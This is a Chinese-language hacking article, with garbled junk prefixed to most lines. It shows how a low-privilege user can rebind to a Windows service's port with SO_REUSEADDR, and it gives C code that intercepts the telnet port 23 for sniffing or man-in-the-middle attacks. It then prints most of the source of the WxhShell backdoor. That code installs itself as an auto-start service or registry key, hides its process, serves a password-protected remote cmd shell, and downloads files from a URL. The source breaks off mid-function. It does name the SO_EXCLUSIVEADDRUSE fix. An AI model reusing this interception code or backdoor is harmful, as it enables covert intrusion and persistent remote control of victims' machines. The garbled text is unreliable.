在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
dX*>?a s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cPcV[6)5K9 4AYc8Z#' saddr.sin_family = AF_INET;
b-?o?}* Z?.*.<"Sj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
v+#j> 6bcrPf} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<.b$
gX |S{P`)z%f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\6 hL W_q1 Q/c
WV 这意味着什么?意味着可以进行如下的攻击:
Lf#G?]@ Wts{tb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`4bd, (J&Xo.<Z- 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
mM*yv lrhAO"/1
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k+[KD >;1 nY9qYFw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Nr9[Vz?$P +{%(_< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
\bic.0- p*,P%tX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:XSc#H4 0 '7s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wW8
6rB Jche79B #include
o%%x'uC #include
i4n
b# #include
Oq,.Kz #include
]7kGHIJ| DWORD WINAPI ClientThread(LPVOID lpParam);
,6O9#1A&i int main()
@/~k8M/ {
k6'# WORD wVersionRequested;
1fW4=pF-K DWORD ret;
Rr 4CcM WSADATA wsaData;
i*R:WTw# BOOL val;
|OZ>/l { SOCKADDR_IN saddr;
O'-Zn]@.] SOCKADDR_IN scaddr;
#0g#W int err;
'c0'P%[5A SOCKET s;
]HV~xD7\ SOCKET sc;
eCIRt/ uA int caddsize;
SU
O; HANDLE mt;
`u~ DWORD tid;
)O@^H wVersionRequested = MAKEWORD( 2, 2 );
!X%!7wsc err = WSAStartup( wVersionRequested, &wsaData );
Gv,92ny!| if ( err != 0 ) {
"42$AaS printf("error!WSAStartup failed!\n");
;b?+:L return -1;
1qj%a%R }
>zg8xA1zL saddr.sin_family = AF_INET;
3B".Gsm)X (4ci=*3= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
CY3 \:D0I 8[1DO1*P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mK40 f saddr.sin_port = htons(23);
^la i!uZVa if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OF<n T {
@MZ6E$I printf("error!socket failed!\n");
x;FO|fH return -1;
62)lf2$1 }
QP5:M!O<) val = TRUE;
C}=_8N //SO_REUSEADDR选项就是可以实现端口重绑定的
h2|vB+W- if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
9U9c"'g {
8U<.16+5Q printf("error!setsockopt failed!\n");
mXU?+G0 return -1;
aI{@]hCo }
~|Ih
JzDt //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"aWX:WL&}s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>9tkx/J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
>\7RIy3 &lh_-@Xz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|:=b9kv {
2x`xyR_Q.R ret=GetLastError();
-{8Q= N printf("error!bind failed!\n");
im\YL< return -1;
a&s"#j }
QE#-A@c listen(s,2);
( X
'FQ while(1)
B`Or#G3ph {
lv\F+?]a caddsize = sizeof(scaddr);
+?j?|G //接受连接请求
5c*p2:] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\\y}DNh if(sc!=INVALID_SOCKET)
SIj6.RK {
iZsau2K mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#/\pUK~km if(mt==NULL)
u!m,ilAnd {
PXOq# printf("Thread Creat Failed!\n");
dCW0^k break;
{K< ~
vj; }
Hf!9`R[ }
b,=,px CloseHandle(mt);
;jp6 }zfI }
R (t!xf closesocket(s);
;b{pzIe= F WSACleanup();
b/T20F{W\o return 0;
i0i.sizu }
cw*(L5bu DWORD WINAPI ClientThread(LPVOID lpParam)
*pDXcURw {
|TC3*Y SOCKET ss = (SOCKET)lpParam;
V]+o)A$ SOCKET sc;
v$qpcu#o unsigned char buf[4096];
bM*Pcxv SOCKADDR_IN saddr;
Nck!z8 long num;
c_R)P,P DWORD val;
6z1aG9G DWORD ret;
v=dKcruR: //如果是隐藏端口应用的话,可以在此处加一些判断
%V@R k.< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
L#83f]vG saddr.sin_family = AF_INET;
C}t+t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*>?):-9"6N saddr.sin_port = htons(23);
;LwFbkOuU if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fRZUY<t {
\VoB=Ac& printf("error!socket failed!\n");
cq+nWHqF{J return -1;
?6_"nT*} }
Ah(\%35& val = 100;
n0Qh9*h if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#
|[`1 {
U[K0{PbY ret = GetLastError();
O('i*o4!} return -1;
d=Rk\F'^J }
?CcR
7l if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vHZX9LQU0+ {
zav* ret = GetLastError();
TmRrub return -1;
ph}wnIW] }
>$#*`6R if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
M6@'9E]|> {
~(Ih~/5\^ printf("error!socket connect failed!\n");
:)^#
xE( closesocket(sc);
&>+I7Ts] closesocket(ss);
;EE{~ return -1;
|SSfG~r }
n.;5P {V1 while(1)
=woqHTR {
;]l{D} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9RCB$Ka6X //如果是嗅探内容的话,可以再此处进行内容分析和记录
q?e16M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'l0eo' K num = recv(ss,buf,4096,0);
,}xpYq_/ if(num>0)
f 4
Sw,A send(sc,buf,num,0);
#`YxoY ` else if(num==0)
z=- 8iks| break;
0+VncL)u num = recv(sc,buf,4096,0);
1@1+4P0NF[ if(num>0)
%^Q@*+{:f send(ss,buf,num,0);
Zu [?' else if(num==0)
b.w(x*a break;
c_D,MW\IC }
)%H5iSNG$P closesocket(ss);
B5?c'[V9 closesocket(sc);
v4Fnh`{ return 0 ;
79<9}<T }
$_I%1 Os]!B2j14
_{Fdw ==========================================================
w<I5@)i| *`QdkVER 下边附上一个代码,,WXhSHELL
D>"{H7mY Qw{\sCH> ==========================================================
~#N.!e4 >%jEo'0;_ #include "stdafx.h"
W?4&lC^G /
%U~lr #include <stdio.h>
5~kW-x #include <string.h>
cx1WGbZ #include <windows.h>
jl 30\M7 #include <winsock2.h>
sJjl)Qs)T #include <winsvc.h>
>? A `C!i #include <urlmon.h>
w#gU1yu z9);e8ck #pragma comment (lib, "Ws2_32.lib")
8KGv?^M
6W #pragma comment (lib, "urlmon.lib")
I/e2, |GVGny< #define MAX_USER 100 // 最大客户端连接数
&EbD.>Ci #define BUF_SOCK 200 // sock buffer
5,=B1 #define KEY_BUFF 255 // 输入 buffer
an[3vKb ;#6<bV #define REBOOT 0 // 重启
6\S$I5 #define SHUTDOWN 1 // 关机
U#~nN+SIt YiQeI|{oN #define DEF_PORT 5000 // 监听端口
0.{oA`5N #%=vy\r #define REG_LEN 16 // 注册表键长度
e{rHO,#A> #define SVC_LEN 80 // NT服务名长度
8wH41v67F zDGg\cPj9 // 从dll定义API
k_|v)\4B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
\4`saM /x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7}iewtdy, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
J!TK*\a2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
B3g82dm {TxVRpiP{Z // wxhshell配置信息
:vgh
KI struct WSCFG {
nV,{w4t+ int ws_port; // 监听端口
R1b
) char ws_passstr[REG_LEN]; // 口令
1X!f!0=g+ int ws_autoins; // 安装标记, 1=yes 0=no
y uK5 r char ws_regname[REG_LEN]; // 注册表键名
"DcueU#! char ws_svcname[REG_LEN]; // 服务名
< 4EB|@E char ws_svcdisp[SVC_LEN]; // 服务显示名
i1_>>49* char ws_svcdesc[SVC_LEN]; // 服务描述信息
Kj1#R char ws_passmsg[SVC_LEN]; // 密码输入提示信息
G+QNg.pH int ws_downexe; // 下载执行标记, 1=yes 0=no
CrwcYzrRWl char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]`i@~Z h\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
}5Tyz i( mSfkyw. };
]9yA0,z/ lo]B5_en // default Wxhshell configuration
~"<VUJ=Ly: struct WSCFG wscfg={DEF_PORT,
p?`|CE@h7 "xuhuanlingzhe",
+<9q]V 1,
$=QGua V "Wxhshell",
lj SR?:\ "Wxhshell",
KiRt' "WxhShell Service",
@)juP- o% "Wrsky Windows CmdShell Service",
2Ws/0c "Please Input Your Password: ",
dc@wf;o 1,
Cak/#1 "
http://www.wrsky.com/wxhshell.exe",
C&s }m0R "Wxhshell.exe"
|uBot#K| };
O^="T^J C[<\ufclD // 消息定义模块
w2C!>fJ]1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5z(>4 d! char *msg_ws_prompt="\n\r? for help\n\r#>";
@vYN7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E.Q}
\E char *msg_ws_ext="\n\rExit.";
Z :i"|; char *msg_ws_end="\n\rQuit.";
(+Nmio char *msg_ws_boot="\n\rReboot...";
8IIdNd char *msg_ws_poff="\n\rShutdown...";
4U y>#IL char *msg_ws_down="\n\rSave to ";
U=cWvr65 )}9}"jrDlx char *msg_ws_err="\n\rErr!";
'/qe#S char *msg_ws_ok="\n\rOK!";
U%PMV?L{ \z2hXT@D char ExeFile[MAX_PATH];
u b>K^ int nUser = 0;
H1b%:KRVK HANDLE handles[MAX_USER];
o)'=D( int OsIsNt;
Vx4pP$S ALt";8Oa SERVICE_STATUS serviceStatus;
~\s &]L SERVICE_STATUS_HANDLE hServiceStatusHandle;
d8q$&(]< fjZveH0
// 函数声明
zvs 2j"lb int Install(void);
qx<zX\qI6n int Uninstall(void);
N+@@EOmH int DownloadFile(char *sURL, SOCKET wsh);
/a/uS3& int Boot(int flag);
E_I6 void HideProc(void);
c$SxDYG int GetOsVer(void);
rJ~(Xu>,s int Wxhshell(SOCKET wsl);
Fe2-;o void TalkWithClient(void *cs);
HE<%d int CmdShell(SOCKET sock);
r- "`Abev int StartFromService(void);
4 }YT@={g} int StartWxhshell(LPSTR lpCmdLine);
(pxz#B4 )mZy>45 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3z. >b VOID WINAPI NTServiceHandler( DWORD fdwControl );
bDh(;%= l0bT_?LhK // 数据结构和表定义
cXEy>U|/ SERVICE_TABLE_ENTRY DispatchTable[] =
Nn4Kt,KY {
!I+u/f?TO7 {wscfg.ws_svcname, NTServiceMain},
7a.#F]` {NULL, NULL}
1Y0oo jD };
] j?Fk$C V@xnz)^t // 自我安装
UY& W] int Install(void)
xupdjT%4 {
?[fl$EG char svExeFile[MAX_PATH];
Uz8C!L ">C HKEY key;
|2]WA'q strcpy(svExeFile,ExeFile);
WaK{/6?T, uRcuy/CY // 如果是win9x系统,修改注册表设为自启动
7Qztc?XK if(!OsIsNt) {
F"0jr7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DppvUiQB!a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`2~Ea_Z RegCloseKey(key);
qpH-P8V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(Jr;:[4XC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v+2qR0,LM RegCloseKey(key);
Oes+na'^ return 0;
"@|V.d@ }
k
<Sa< }
:[?o7%" }
WW/m
/+ else {
2/gj@>dt ~SUl,Cs // 如果是NT以上系统,安装为系统服务
tKViM@T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;+Kewi;< if (schSCManager!=0)
BTQC1;;N {
v%e"4:K}? SC_HANDLE schService = CreateService
8@#Y
<{ (
(Q}ijwj schSCManager,
BPs
& wscfg.ws_svcname,
PbH]K$mj{" wscfg.ws_svcdisp,
Y##P9^zH1 SERVICE_ALL_ACCESS,
[5:7WqB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@wZ_VE7B SERVICE_AUTO_START,
sbhEZ#7# SERVICE_ERROR_NORMAL,
z4UQ:z@ svExeFile,
vu
\Dx9 NULL,
@G{DOxE* NULL,
|#kf.kN NULL,
.Bn2;nO NULL,
EqU[mqeF NULL
IY6S\Gn );
.F|WQ7Mu if (schService!=0)
PG]mwaj]) {
lLf01sa4 CloseServiceHandle(schService);
]/naH#8G CloseServiceHandle(schSCManager);
~ ?_Z!eS strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
t$5]1dY$X strcat(svExeFile,wscfg.ws_svcname);
wi
>ta if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~ +$><qj RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2|o$eq3t RegCloseKey(key);
vw
2@}#\: return 0;
';V+~pi }
@_nhA/rlc }
IbQ~f+y&2 CloseServiceHandle(schSCManager);
![n`n(oN }
/ /rWc,c }
Om~C0 $B/cj^3 return 1;
$KFWV2P }
uV:;y}T^Z p7tC~]r:L // 自我卸载
D:,<9 %A int Uninstall(void)
j!H?dnE|| {
^;_b!7* HKEY key;
FeMu`|2 <K'gvMG[ if(!OsIsNt) {
(#Aq*2Z. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;OyM~T gI RegDeleteValue(key,wscfg.ws_regname);
@/iLC6QF RegCloseKey(key);
ti%
e.p0[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Uij$
eBN RegDeleteValue(key,wscfg.ws_regname);
L
*@>/N RegCloseKey(key);
Cu7iHh Y5 return 0;
XITQB|C??$ }
*?'T8yf^ }
1 j8,Zrg1 }
,:,|A/U else {
9]\vw B!anY}/U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
n|6yz[N if (schSCManager!=0)
K.7gd1I {
u] b6> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;_t on?bF if (schService!=0)
_v,n~a}& {
P.7B]&T6 if(DeleteService(schService)!=0) {
lU&IS?^? CloseServiceHandle(schService);
ii scm\ CloseServiceHandle(schSCManager);
\O~P
!` return 0;
B~rK3BS }
G_]mNh CloseServiceHandle(schService);
J-c7ZcTt }
2S/ 7f: CloseServiceHandle(schSCManager);
W&#Nk5d }
G7?EaLsfQ }
z{x -Vfd EK^2 2vi$ return 1;
us+adS.l& }
X}Fv* Y$^QH.h // 从指定url下载文件
q?\D9aT9 int DownloadFile(char *sURL, SOCKET wsh)
HC+R:Dz {
10^=1@U HRESULT hr;
/[M~##%: char seps[]= "/";
Rz]bCiD3
B char *token;
-9EbU7>! char *file;
m|[Hhw=f char myURL[MAX_PATH];
|/$#G0X;H char myFILE[MAX_PATH];
d8 po`J#nb ZW"J]"A strcpy(myURL,sURL);
$mlcaH token=strtok(myURL,seps);
#'P&L>6
; while(token!=NULL)
&s5*akG {
Y*f<\z(4 file=token;
LTHS&3%2 token=strtok(NULL,seps);
S;~_9i]upe }
F(r&:3!97 C&gJP7 UF GetCurrentDirectory(MAX_PATH,myFILE);
Pc<ZfO # strcat(myFILE, "\\");
9q?gmAn. strcat(myFILE, file);
}$ der send(wsh,myFILE,strlen(myFILE),0);
f63q send(wsh,"...",3,0);
KtE`L4tW6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/~:ztv\$M" if(hr==S_OK)
78wcMQNX9 return 0;
BlCKJp{m$ else
QPnc "! return 1;
o^D{WH\p UpbzH(?# }
^.Q),{%Xo Aj_}B. // 系统电源模块
aUV>O`|_ int Boot(int flag)
ux=@"!PJ {
:gXj($ HANDLE hToken;
Sk-Ti\ TOKEN_PRIVILEGES tkp;
l_WY];a xS'So7: h if(OsIsNt) {
"q8wEu,z[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cP,jC(<N LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
W7 $yE},z tkp.PrivilegeCount = 1;
`{%*DHa tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
vs+N{ V AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P+xZaf
H if(flag==REBOOT) {
&
CgLF] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/e}k7U,^ return 0;
2B#WWb }
w}iflAnjq else {
!?96P|G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@47TDCr return 0;
HhO$`YZ%> }
x=k$^V~ }
Dqki}k~{ else {
p\ASf if(flag==REBOOT) {
-Ac^#/[0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U
w)1yzX return 0;
^VQiq7 xm }
r*Mm5QozA else {
n(L {2r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Z(s}
#- return 0;
J0`?g6aY }
1{*x+GC^/ }
Cfi5r|S u[% #/ return 1;
j2z$kw% }
wBf
bpoE7 Tb[GZ,/%; // win9x进程隐藏模块
U[ed#9l> void HideProc(void)
l!1bmg #]$ {
A/MOY@%G tU(6%zvR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@U}UC G7+ if ( hKernel != NULL )
ny}?+&K {
wGB'c's* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
WrV|<%EQh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)S]c'}^ FreeLibrary(hKernel);
[4gv_g }
Gfvz%%>l +1rJ ;G return;
8w\&QX }
4P.ry|2 TS-[p d // 获取操作系统版本
(mzyA%;W int GetOsVer(void)
~DSle 3 {
,{%[/#~6 OSVERSIONINFO winfo;
`hbM2cM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
!"wIb.j}0 GetVersionEx(&winfo);
QRRZMdEGs[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
up`6IWlLE return 1;
-&+[/ else
?8`b return 0;
d5h:py5 }
5Ba eHzI SlmgFk!r! // 客户端句柄模块
Z5v\[i@H! int Wxhshell(SOCKET wsl)
1B 2>8N {
#Hq XC\~n SOCKET wsh;
9Y0w
SOSW struct sockaddr_in client;
DRal{?CH DWORD myID;
gVb;sk^ 9OX&;O+5 while(nUser<MAX_USER)
O}2;>eH {
UZqr6A(/H int nSize=sizeof(client);
y<kW2<? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oh|Q&R if(wsh==INVALID_SOCKET) return 1;
'v?Z~"w= tX)^$3A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>]FRHJo_ if(handles[nUser]==0)
c!b4Y4eJ closesocket(wsh);
.|!Kv+yD else
oH$4K8j nUser++;
,|D<De\v& }
4v Ug:'DM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yH irm|o a8NL return 0;
WSUU_^. }
Oo$i,|$$ usU5q>1 // 关闭 socket
|
X! d*4 void CloseIt(SOCKET wsh)
ttgb"Wb%S {
]e!9{\X,* closesocket(wsh);
Y'0H2B8 nUser--;
dxsPX=\: ExitThread(0);
|%Pd*yZA }
udgf{1EB&2 "luMz;B // 客户端请求句柄
uvi+#4~G void TalkWithClient(void *cs)
ji5c0WH {
`StlG=TB8 T=%,^ SOCKET wsh=(SOCKET)cs;
4 1q|R[js! char pwd[SVC_LEN];
r761vtC# char cmd[KEY_BUFF];
zW8rC! char chr[1];
O,u$L int i,j;
8!sl) R JZB7?@h% while (nUser < MAX_USER) {
zr2oU '+ yCpU173V if(wscfg.ws_passstr) {
Dwn.0|E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'b~,/lZd //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OF-$* //ZeroMemory(pwd,KEY_BUFF);
0F/o i=0;
>We4F2? while(i<SVC_LEN) {
.]24V!J(1w q-}qrg // 设置超时
JYc;6p$<i fd_set FdRead;
R ` struct timeval TimeOut;
vL}e1V: FD_ZERO(&FdRead);
^\KZE|^3@ FD_SET(wsh,&FdRead);
?NWc3 . TimeOut.tv_sec=8;
-Q9} gaH_ TimeOut.tv_usec=0;
;<hLy(@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<*oTVl4fS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_TEjB:9eY MfQ 9d9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
dg-nv]7 pwd
=chr[0]; b@`h]]~:
if(chr[0]==0xd || chr[0]==0xa) { Bq@_/*'*Y
pwd=0; bi~1d"j
break; gM>geWB<
} v[57LB
i++; [_PZdIN
} 05hjC
LD/NMb
// 如果是非法用户,关闭 socket a]\l:r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ZP
$(a4
} pr-=<[ d
_Fkz^B*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %W`
}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cao=O
\Y7
%?2y2O,;
while(1) { 6
);8z!+
x,L<{A`z
ZeroMemory(cmd,KEY_BUFF); 7x#QkImQ
JCFiKt9n
// 自动支持客户端 telnet标准 4 '"C8vw.
j=0; (P'{A>aHl0
while(j<KEY_BUFF) { bY&!d.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A1g.ww:
cmd[j]=chr[0]; Nk2n&(~$
if(chr[0]==0xa || chr[0]==0xd) { ?`hA :X<
cmd[j]=0; M47t(9krV
break; ?te~[_oT
} Gn&=<q:H
j++; 6pP:Q_U$
} p?-qlPl
C2
4"H|D
// 下载文件 'Y2ImSWj
if(strstr(cmd,"http://")) { z;wOtKl5r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); z|bAZKSRYx
if(DownloadFile(cmd,wsh)) \~X:ffb =
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #fy3i+
else :_k5[KT.]9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |tN:o=
6
} fb+_]{7g
else { ;x.5_Xw{.
?xW,2S
switch(cmd[0]) { iVT)V>U p
<c3Te$.
// 帮助 oZ5 ,y+L4
case '?': { L9{y1'')
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y[!s:3\f
break; fDjJdRS"
} 4v.{C"M
// 安装 jZr"d*Y
case 'i': { 7?ICXhu9
if(Install()) UMUG~P&@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TrPw*4h 9s
else WeZ?L|&%w0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Q=I`H_
break; `l2h65\
} >t#5eT`_ w
// 卸载 d k/f_m
case 'r': { F1*xY%Jv^M
if(Uninstall()) ^ 6b27_=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S ^]mF>xX8
else 1 HY
K&
',
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9+#BU$*v
break; :Z%-&)F
} =&Z#QD"vl
// 显示 wxhshell 所在路径 H
S)$|m_
case 'p': { +wp !hk&C5
char svExeFile[MAX_PATH]; 1z3>nou2{
strcpy(svExeFile,"\n\r"); fG zx;<0P!
strcat(svExeFile,ExeFile); U4=m>Ty
send(wsh,svExeFile,strlen(svExeFile),0); qC6@
break; n|fKwWB\
} *b7evU *1
// 重启 % oJH 6F
case 'b': { K;7ea47m N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {X5G
if(Boot(REBOOT)) ra;:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4s9qQ8?
else { m
yy*rt
closesocket(wsh); <&kl:|
ExitThread(0); ?{L5=X@$$
} oT0:Ny
break; U1Y0G[i)
} k%R(Qga
// 关机 qnFg7X>C,
case 'd': { c+{ ar^)*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W2{4s
1
if(Boot(SHUTDOWN)) .On3ZN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<G7ocu !
else { ; GEr8_7
closesocket(wsh); s14D(:t(
ExitThread(0); :}-VLp4b
} rn]F97v@]
break; ,]tEh:QC
} ;o158H$gz;
// 获取shell [>LO'}%
case 's': { &r+!rL Kp
CmdShell(wsh); *4/KK
closesocket(wsh); dTWcn7C
ExitThread(0); ]?T,J+S
break; YpgO]\/w
} E~c>j<'-"<
// 退出 WMS~Bk+!
case 'x': { [0D.+("EW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q'9;
CloseIt(wsh); YJ+l
\Wb}
break; 1{Ik.O)
} @=OX7zq\h-
// 离开
_7b4+ L
case 'q': { h.\p+Qw.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y() ZM
closesocket(wsh); >y+?Sz!
WSACleanup(); Wcbm,O4u
exit(1); .pG`/[*a
break; 558!?kx$
} sf
O{.#5<
} 5S[:;o
} x\IuM
k*OHI/uiow
// 提示信息 >`^;h]Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )X3
|[4R
} V@+X4`T
} h1y3gl[;TD
{mY=LaS<
return; LVy`U07C V
} eM]>"
Fr-Vq=j&
// shell模块句柄 H
vHy{S4
int CmdShell(SOCKET sock) ]F"P3':
{ He%v 4S
STARTUPINFO si; >3,}^`l
ZeroMemory(&si,sizeof(si)); pd|l&xvka
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; - _~\d+>w
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /i
PROCESS_INFORMATION ProcessInfo; kkJ8xyO
char cmdline[]="cmd"; PzT@q\O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); --k!KrL
return 0; VR'zm\< D
} >%5GMx>m
lk[u
// 自身启动模式 WpOH1[8v
int StartFromService(void) g][n1$%
{ qC-4X"y+
typedef struct {L
\TO,
{ 4&%E?_M
DWORD ExitStatus; 36Lf8~d4"h
DWORD PebBaseAddress; W.59Al'
DWORD AffinityMask; 8g=];@z
DWORD BasePriority; cG (%P$
